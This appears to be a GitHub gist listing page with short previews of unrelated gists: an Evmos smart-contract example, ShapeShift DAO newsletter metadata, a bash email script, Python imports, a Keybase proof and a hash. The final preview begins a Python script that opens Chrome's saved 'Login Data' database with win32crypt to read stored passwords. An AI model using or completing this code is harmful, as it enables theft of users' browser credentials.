iom2ysjp97
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This gist shows an example on how to use Evmos EVM Extensions to access | |
x/distribution and x/staking Cosmos SDK modules functionalities from a smart contract |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
IMPORTANT_MSG: null | |
ISSUE_NUM: 420 | |
LEFT_INTRO: "This week in the ShapeShift DAO, we have been discussing various ideas during our weekly governance meeting. There are no active or passed proposals this week. However, the ShapeShift forum continues to see great engagement from the community with new ideas and proposals being discussed." | |
RIGHT_INTRO: "Check out the section below for a summary of our weekly governance including current proposals as well as new and old forum posts. Let’s continue to DAO it!" | |
# DATE, TIME, TITLE, LOCATION | |
KEY_DATES: | |
- date: ["4/20/2022", "9:00 PM MDT", "ITS TIME FOR ALL FOX", "DISCORD STAGE"] | |
- date: ["4/22/2022", "5:00 PM MDT", "REALLY IMPORTANT MEETING", "DISCORD"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/bash | |
# | |
# Daily Email Updates | |
# db creds | |
user="user" | |
database="db" | |
file=/opt/repo/body.html | |
email="[email protected]" | |
where="WHERE p.\"updatedAt\"::TIMESTAMP AT TIME ZONE 'UTC' AT TIME ZONE 'America/New_York' BETWEEN NOW() - INTERVAL '24 HOURS' AND NOW() ORDER BY p.\"updatedAt\"" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" Import """ | |
import sys | |
import os | |
import time | |
from threading import Thread | |
from queue import Queue | |
import argparse | |
import binascii | |
import urllib.request | |
import requests |
I hereby claim:
- I am hanyoonlda on github.
- I am hy93 (https://keybase.io/hy93) on keybase.
- I have a public key ASCbh5gPFDbXuyxaEpLhQmeLs9UZJuUI0hzkNWj-C22owAo
To claim this, I am signing this object:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0f592a35ce00f0d68df8474db7396f596958fd683072b3e0182b17b1d5631c6e7353286f06e0aa2cf6ba2e2a173129cad1847761621fea05513453b22d63971d |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# os and sqlite3 ships with Python by default. If you get import errors for win32crypt use "pip install pypiwin32" to install the dependency. | |
import os, sqlite3, win32crypt | |
# Automatically get the logged in user's default folder | |
data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data" | |
# Connect to Login Data database | |
connection = sqlite3.connect(data) | |
cursor = connection.cursor() |